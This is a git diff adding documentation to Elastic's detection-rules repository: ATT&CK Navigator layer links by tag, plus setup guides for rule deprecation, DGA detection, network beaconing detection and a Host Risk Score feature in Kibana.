+|[Elastic-detection-rules-indexes-metrics-WILDCARD](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-indexes-metrics-WILDCARD.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-indexes-packetbeat-WILDCARD](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-indexes-packetbeat-WILDCARD.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-indexes-traces-WILDCARD](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-indexes-traces-WILDCARD.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-indexes-winlogbeat-WILDCARD](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-indexes-winlogbeat-WILDCARD.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-active-directory](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-active-directory.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-application](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-application.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-asset-visibility](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-asset-visibility.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-aws](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-aws.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-azure](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-azure.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-cloud](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-cloud.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-collection](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-collection.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-command-and-control](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-command-and-control.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-communication](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-communication.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-configuration-audit](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-configuration-audit.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-continuous-monitoring](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-continuous-monitoring.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-credential-access](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-credential-access.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-cyberarkpas](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-cyberarkpas.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-data-protection](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-data-protection.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-defense-evasion](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-defense-evasion.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-discovery](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-discovery.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-elastic](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-elastic.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-execution](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-execution.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-gcp](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-gcp.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-google-workspace](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-google-workspace.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-gtfobins](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-gtfobins.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-host](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-host.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-identity-and-access](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-identity-and-access.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-identity](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-identity.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-impact](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-impact.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-initial-access](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-initial-access.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-lateral-movement](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-lateral-movement.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-linux](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-linux.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-log-auditing](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-log-auditing.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-macos](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-macos.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-microsoft-365](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-microsoft-365.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-ml](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-ml.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-monitoring](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-monitoring.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-network-security](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-network-security.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-network](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-network.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-okta](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-okta.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-persistence](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-persistence.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-post-execution](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-post-execution.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-privilege-escalation](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-privilege-escalation.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-secops](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-secops.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-threat-detection](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-threat-detection.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-windows](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-windows.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-tags-zoom](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-tags-zoom.json&leave_site_dialog=false&tabs=false)| diff --git a/docs/deprecating.md b/docs/deprecating.md new file mode 100644 index 000000000..9969d8412 --- /dev/null +++ b/docs/deprecating.md @@ -0,0 +1,23 @@ +# Deprecating rules + +Rules that have been version locked (added to [version.lock.json](../etc/version.lock.json)), which also means they +have been added to the detection engine in Kibana, must be properly [deprecated](#steps-to-properly-deprecate-a-rule). + +If a rule was never version locked (not yet pushed to Kibana or still in non-`production` `maturity`), the rule can +simply be removed with no additional changes, or updated the `maturity = "development"`, which will leave it out of the +release package to Kibana. + + +## Steps to properly deprecate a rule + +1. Update the `maturity` to `deprecated` +2. Move the rule file to [rules/_deprecated](../rules/_deprecated) +3. Add `deprecation_date` and update `updated_date` to match + +Next time the versions are locked, the rule will be added to the [deprecated_rules.json](../etc/deprecated_rules.json) +file. + + +### Using the deprecate-rule command + +Alternatively, you can run `python -m detection_rules dev deprecate-rule `, which will perform all the steps diff --git a/docs/experimental-machine-learning/DGA.md b/docs/experimental-machine-learning/DGA.md new file mode 100644 index 000000000..c1eb8603a --- /dev/null +++ b/docs/experimental-machine-learning/DGA.md @@ -0,0 +1,54 @@ +# Machine Learning on Domain Generation Algorithm (DGA) + +To create and use supervised DGA ML models to enrich data within the stack, check out these Elastic blogs: +* Part 1: [Machine learning in cybersecurity: Training supervised models to detect DGA activity](https://www.elastic.co/blog/machine-learning-in-cybersecurity-training-supervised-models-to-detect-dga-activity) +* Part 2: [Machine learning in cybersecurity: Detecting DGA activity in network data](https://www.elastic.co/blog/machine-learning-in-cybersecurity-detecting-dga-activity-in-network-data) + +You can also find some supplementary material and examples [here](https://github.com/elastic/examples/tree/master/Machine%20Learning/DGA%20Detection) + +We also released a blog about getting started with DGA using the CLI and Kibana, which also includes a case study of the process applied to the 2020 [SolarWinds supply chain attack](https://www.elastic.co/blog/elastic-security-provides-free-and-open-protections-for-sunburst): +* [Combining supervised and unsupervised machine learning for DGA detection](https://www.elastic.co/blog/supervised-and-unsupervised-machine-learning-for-dga-detection) + + +For questions, please reach out to the ML team in the #machine-learning channel of the +[Elastic community Slack workspace](https://www.elastic.co/blog/join-our-elastic-stack-workspace-on-slack) + +The team can also be reached by using the `stack-machine-learning` tag in the [discuss forums](https://discuss.elastic.co/tags/c/elastic-stack/stack-machine-learning) + +*Note: in order to use these ML features, you must have a platinum or higher [subscription](https://www.elastic.co/subscriptions)* +*Note: the ML features are considered experimental in Kibana as well as this rules CLI* + + +## Detailed steps + +#### 1. Upload and setup the model file and dependencies + +Run `python -m detection_rules es experimental ml setup -t ` + +*If updating a new model, you should first uninstall any existing models using `remove-model`* + +You can also upload files locally using the `-d` option, so long as the naming convention of the files match the +expected pattern for the filenames. + +#### 2. Update packetbeat configuration + +You will need to update your packetbeat.yml config file to point to the enrichment pipeline + +Under `Elasticsearch Output` add the following: + +```yaml +output.elasticsearch: + hosts: ["your-hostname:your-port"] + pipeline: dns_enrich_pipeline +``` + +#### 3. Refresh your packetbeat index + +You can optionally choose to refresh your packetbeat index mapping from within Kibana: +* Navigate to `Stack Management > (Kibana) Index Patterns` +* Select the appropriate packetbeat index +* Click `refresh field list` + +#### 4. Verify enrichment fields + +Any packetbeat documents with the field `dns.question.registered_domain` should now be enriched with `ml_is_dga.*` diff --git a/docs/experimental-machine-learning/beaconing.md b/docs/experimental-machine-learning/beaconing.md new file mode 100644 index 000000000..6c6af4bba --- /dev/null +++ b/docs/experimental-machine-learning/beaconing.md @@ -0,0 +1,82 @@ +# Identifying beaconing activity in your environment + +The Network Beaconing package consists of all the artifacts required to stand up a framework to identify beaconing activity in your environment. The framework can not only help threat hunters and analysts monitor network traffic for beaconing activity, but also provides useful indicators of compromise (IoCs) for them to start an investigation with. +To deploy this framework in your environment, follow the steps outlined below. + +# Detailed steps + +#### 1. Obtain artifacts + +The Network Beaconing functionality is space aware for privacy. Downloaded artifacts must be modified with the desired space before they can be used. + + - Download the release bundle from [here](https://github.com/elastic/detection-rules/releases). The Network Beaconing releases can be identified by the tag `ML-Beaconing-YYYMMDD-N`. Check the release description to make sure it is compatible with the Elastic Stack version you are running. New releases may contain updated artifacts. + - Unzip the contents of `ML-Beaconing-YYYMMDD-N`. + - Run `ml_beaconing_generate_scripts.py` script in the unzipped directory with your Kibana space as the argument. +
+Example of modifying artifacts for the default space +
python ml_beaconing_generate_scripts.py --space default
+
+ + - Find a new folder named after your space in the unzipped directory. **You will be using the scripts within this directory for the next steps.** + +#### 2. Uploading scripts + +- Navigate to `Management / Dev Tools` in Kibana. +- Upload the contents of `ml_beaconing_init_script.json`, `ml_beaconing_map_script.json` and `ml_beaconing_reduce_script.json` using the Script API with the following syntax. + +
+uploading scripts +

+PUT _scripts/ml_beaconing_init_script
+{contents of ml_beaconing_init_script.json file}
+
+ +
+

+PUT _scripts/ml_beaconing_map_script
+{contents of ml_beaconing_map_script.json file}
+
+ +
+

+PUT _scripts/ml_beaconing_reduce_script
+{contents of ml_beaconing_reduce_script.json file}
+
+ +#### 3. Upload ingest pipeline + +Upload the contents of the `ml_beaconing_ingest_pipeline.json` ingest pipeline using the Ingest API with the following syntax. + +
+uploading ingest pipeline +
PUT _ingest/pipeline/ml_beaconing_ingest_pipeline
+{contents of ml_beaconing_ingest_pipeline.json file}
+
+ +#### 5. Upload and start the `pivot` transform + +- Upload the contents of `ml_beaconing_pivot_transform.json` using the Transform API with the following syntax. This transform runs hourly and flags beaconing activity seen in your environment, in the 6 hrs prior to runtime: + +
+uploading pivot transform +
PUT _transform/ml_beaconing_pivot_transform
+{contents of ml_beaconing_pivot_transform.json file}
+
+ +- Navigate to `Transforms` under `Management` -> `Stack Management`. For the transform with the ID `ml_beaconing_pivot_transform`, under `Actions`, click `Start`. +- Verify that the Transform started as expected by ensuring that documents are appearing in the destination index of the Transform, eg: using the Search/Count APIs: + +
+sample test query +
GET ml_beaconing_<your-space-name>/_search
+
+ +#### 6. Import the dashboards + +- Navigate to `Management` -> `Stack Management` -> `Kibana` -> `Saved Objects` +- Click on `Import` and import the `ml_beaconing_dashboards.ndjson` file. Choose the `Request Action on conflict` option if you don't want the import to overwrite existing objects, for example the `logs-*` index pattern. +- Navigate to `Analytics` -> `Dashboard`. You should see three dashboards- `Network Beaconing`, which is the main dashboard to monitor beaconing activity, `Beaconing Drilldown` to drilldown into relevant event logs and some statistics related to the beaconing activity, and finally, `Hosts Affected Over Time By Process Name` to monitor the reach of beaconing processes across hosts in your environment, in the past two weeks. + +# Note + +Platinum and Enterprise customers can enable the anomaly detection job associated with this beaconing identification framework. This job additionally allows users to find processes in their environment that don't normally beacon out. The job configuration and datafeed can be found in the latest experimental detections package, which is available as a GitHub release [here](https://github.com/elastic/detection-rules/releases), with the tag `ML-experimental-detections-YYYMMDD-N`. diff --git a/docs/experimental-machine-learning/experimental-detections.md b/docs/experimental-machine-learning/experimental-detections.md new file mode 100644 index 000000000..60d615fe3 --- /dev/null +++ b/docs/experimental-machine-learning/experimental-detections.md @@ -0,0 +1,28 @@ +# Experimental ML Jobs and Rules + +The ingest pipeline enriches process events by adding additional fields, which are used to power several rules. +The experimental rules and jobs are staged separately from the model bundles under [releases](https://github.com/elastic/detection-rules/releases), with the tag `ML-experimental-detections-YYYMMDD-N`. New releases with this tag may contain either updates to existing rules or new experimental detections. + +Note that if a rule is of `type = "machine_learning"`, then it may be dependent on uploading and running a machine +learning job first. If this is the case, it will likely be annotated within the `note` field of the rule. + +### Uploading rules + +Unzip the release bundle and upload these rules individually. + +Rules are now stored in ndjson format and can be imported into Kibana via the security app detections page. + +Earlier releases stored the rules in toml format. These can be uploaded using the +[7.12 branch](https://github.com/elastic/detection-rules/tree/7.12) CLI using the +[kibana upload-rule](../../CLI.md#uploading-rules-to-kibana) command + +### Uploading ML Jobs and Datafeeds + +Unzip the release bundle and then run `python -m detection_rules es experimental ml upload-job ` + +To delete a job/datafeed, run `python -m detection_rules es experimental ml delete-job ` + +The CLI automatically identifies whether the provided input file is an ML job or datafeed. + +Take note of any errors as the jobs and datafeeds may have dependencies on each other which may require stopping and/or removing +referenced jobs/datafeeds first. diff --git a/docs/experimental-machine-learning/host-risk-score.md b/docs/experimental-machine-learning/host-risk-score.md new file mode 100644 index 000000000..bfaf1b1ae --- /dev/null +++ b/docs/experimental-machine-learning/host-risk-score.md @@ -0,0 +1,219 @@ +# Host Risk Score + +Host Risk Score is an experimental feature that assigns risk scores to hosts in a given Kibana space. Risk scores are calculated for each host by utilizing transforms on the alerting indices. The transform runs hourly to update the score as new alerts are generated. The Host Risk Score [package](https://github.com/elastic/detection-rules/releases) contains all of the required artifacts for setup. The Host Risk Score feature provides drilldown Lens dashboards and additional Kibana features such as the **Host Risk Score Card** on the Overview page of the Elastic Security app, and the **Host Risk Keyword** on the Alert details flyout for an enhanced experience. + +### Notes + - **Host name collision**: Hosts are identified by the `host.name` field in alerts. There may be some edge cases where different hosts use the same name. [details](#host-name-collision-details) + + +## Setup Instructions + + 1. [Obtain artifacts](#obtain-artifacts) + 2. [Upload scripts](#upload-scripts) + 3. [Upload ingest pipeline](#upload-ingest-pipeline) + 4. [Upload and start the `pivot` transform](#upload-start-pivot) + 5. [Create the Host Risk Score index](#host-risk-index) + 6. [Upload and start the `latest` transform](#upload-start-latest) + 7. [Import dashboards](#import-dashboards) + 8. [Enable Kibana features](#enable-kibana) + +

1. Obtain artifacts

+ +The Host Risk Score functionality is space aware for privacy. Downloaded artifacts must be modified with the desired space before they can be used. + + - Download the release bundle from [here](https://github.com/elastic/detection-rules/releases). The Host Risk Score releases can be identified by the tag `ML-HostRiskScore-YYYYMMDD-N`. Check the release description to make sure it is compatible with the Elastic Stack version you are running. + - Unzip the contents of `ML-HostRiskScore-YYYYMMDD-N.zip`. + - Run `ml_hostriskscore_generate_scripts.py` script in the unzipped directory with your Kibana space as the argument. +
+Example of modifying artifacts for the default space +
python ml_hostriskscore_generate_scripts.py --space default
+
+ + - Find a new folder named after your space in the unzipped directory. **You will be using the scripts within this directory for the next steps.** + + **Note:** Host Risk Score artifacts should be updated if/when you update to a newer Elastic Stack version. To do this, simply download a release bundle that is compatible with your new Stack version and repeat all the steps. Backwards compatibility of release bundles is not guaranteed. + + +

2. Upload scripts

+ +- Navigate to `Management / Dev Tools` in Kibana. +- Upload the contents of `ml_hostriskscore_levels_script.json`, `ml_hostriskscore_map_script.json`, `ml_hostriskscore_reduce_script.json` and `ml_hostriskscore_init_script.json` (for Elastic Stack version 8.1+ only) using the Script API with the following syntax. +- Ensure that your space name (such as `default`) replaces `` in the script names below. + +
+uploading scripts +

+PUT _scripts/ml_hostriskscore_levels_script_<your-space-name>
+{contents of ml_hostriskscore_levels_script.json file}
+
+ +
+

+PUT _scripts/ml_hostriskscore_map_script_<your-space-name>
+{contents of ml_hostriskscore_map_script.json file}
+
+ +
+

+PUT _scripts/ml_hostriskscore_reduce_script_<your-space-name>
+{contents of ml_hostriskscore_reduce_script.json file}
+
+ +For Elastic Stack version 8.1+ only +
+

+PUT _scripts/ml_hostriskscore_init_script_<your-space-name>
+{contents of ml_hostriskscore_init_script.json file}
+
+ + +

3. Upload ingest pipeline

+ +- Upload the contents of `ml_hostriskscore_ingest_pipeline.json` using the Ingest API with the following syntax. +- Ensure that your space name (such as `default`) replaces `` below. + +
+uploading ingest pipeline +
PUT _ingest/pipeline/ml_hostriskscore_ingest_pipeline_<your-space-name>
+{contents of ml_hostriskscore_ingest_pipeline.json file}
+
+ + + +

4. Upload and start the pivot transform

+ +This transform calculates the risk level every hour for each host in the Kibana space specified. + +- Upload the contents of `ml_hostriskscore_pivot_transform.json` using the Transform API with the following syntax. +- Ensure that your space name (such as `default`) replaces `` below. + +
+uploading pivot transform +
PUT _transform/ml_hostriskscore_pivot_transform_<your-space-name>
+{contents of ml_hostriskscore_pivot_transform.json file}
+
+ +- Navigate to `Transforms` under `Management / Stack Management` in Kibana. Find the transform with the ID `ml_hostriskscore_pivot_transform_`. Open the `Actions` menu on the right side of the row, then click `Start`. +- Confirm the transform is working as expected by navigating to `Management / Dev Tools` and ensuring the target index exists. + +
+sample test query +
GET ml_host_risk_score_<your-space-name>/_search
+
+ +

5. Create the Host Risk Score index

+ +- Navigate to `Management / Dev Tools` in Kibana. +- Create the Host Risk Score index (`ml_host_risk_score_latest_`) with the following mappings. +- Ensure that your space name (such as `default`) replaces `` below. + +
+creating the Host Risk Score index +
PUT ml_host_risk_score_latest_<your-space-name>
+{
+  "mappings":{
+    "properties":{
+      "host.name":{
+        "type":"keyword"
+      }
+    }
+  }
+}
+
+ +

6. Upload and start the latest transform

+ +This transform recurringly calculates risk levels for all hosts in the Kibana space specified. + +- Upload the contents of `ml_hostriskscore_latest_transform.json` using the Transform API with the following syntax. +- Ensure that your space name (such as `default`) replaces `` below. + +
+uploading latest transform +
PUT _transform/ml_hostriskscore_latest_transform_<your-space-name>
+{contents of ml_hostriskscore_latest_transform.json file}
+
+ +- Navigate to `Transforms` under `Management / Stack Management` in Kibana. Find the transform with the ID `ml_hostriskscore_latest_transform_`. Open the `Actions` menu on the right side of the row, and click `Start`. +- Confirm the transform is working as expected by navigating to `Management / Dev Tools` and ensuring the target index exists. You should see documents starting to appear in the index if there is ongoing alerting activity associated with hosts. + +
+sample test query +
GET ml_host_risk_score_latest_<your-space-name>/_search
+
+ +

7. Import dashboards

+ +- Navigate to `Management / Stack Management / Kibana / Saved Objects` in Kibana. +- Click on `Import` and import the `ml_hostriskscore_dashboards.ndjson` file. +- Navigate to `Analytics / Dashboard`. +- Confirm you can see a dashboard named `Current Risk Scores for Hosts`, which displays the current list (Top 20) of suspicious hosts in your environment. +- Confirm you can see a dashboard named `Drilldown of Host Risk Score`, which allows you to further drill down into details of the risk associated with a particular host of interest. + +

8. Enable Kibana features

+ +To enable the Kibana features for Host Risk Score, you will first need to add the following configuration to `kibana.yml`. + +``` +xpack.securitySolution.enableExperimental: ['riskyHostsEnabled'] +``` + +#### Instructions to modify `kibana.yml` on Elastic Cloud + +1. Navigate to your deployment on the cloud +![Navigate to deployment](./images/1_create_deployment.png) + + +2. Click on Kibana on the sidebar and click on Edit configuration on your Kibana instance +![Edit Kibana config](./images/2_edit_configuration.png) + + +3. Click on Edit user settings +![Edit user settings](./images/3_edit_user_settings.png) + + +4. Modify Kibana configuration by adding `xpack.securitySolution.enableExperimental: ['riskyHostsEnabled']` +![Modify Kibana configuration](./images/4_add_flag.png) + + +5. Save updated Kibana settings +![Save updated Kibana settings](./images/5_save_settings.png) + + +6. Confirm activity finished +![Confirm activity finished](./images/6_confirm_activity_finished.png) + + +7. View Host Risk Score Card on the Overview page +![Host Risk Score card](./images/0a_host_risk_score_card.png) + + +Once you have modified the `kibana.yml` file, you will find Host Risk Scoring features in the following Kibana locations: + +_Host Risk Score card on the Overview page_ +![Host Risk Score card](./images/0a_host_risk_score_card.png) + +_Host Risk Keyword on Alert Details Flyout_ +![Host Risk Keyword](./images/0b_alert_summary.png) + +For Elastic Stack version 8.1+ only: + +_Host risk classification column in the All hosts table on the Hosts page_ +![Hosts page risk classification column](./images/0c_host_page_risk_column.png) + +_Hosts by risk tab on the Hosts page_ +![Hosts Risk Tab](./images/0d_host_page_hosts_by_risk_tab.png) + +The host risk table in the above tab is not affected by the KQL time range. The table shows the latest recorded risk score for each host. + +_Host risk overview on the Host details page_ +![Host risk overview](./images/0e_host_details_page_risk_overview.png) + +_Hosts by risk tab on the Host details page_ +![Host Details Risk Tab](./images/0f_host_details_page_hosts_by_risk_tab.png) + +
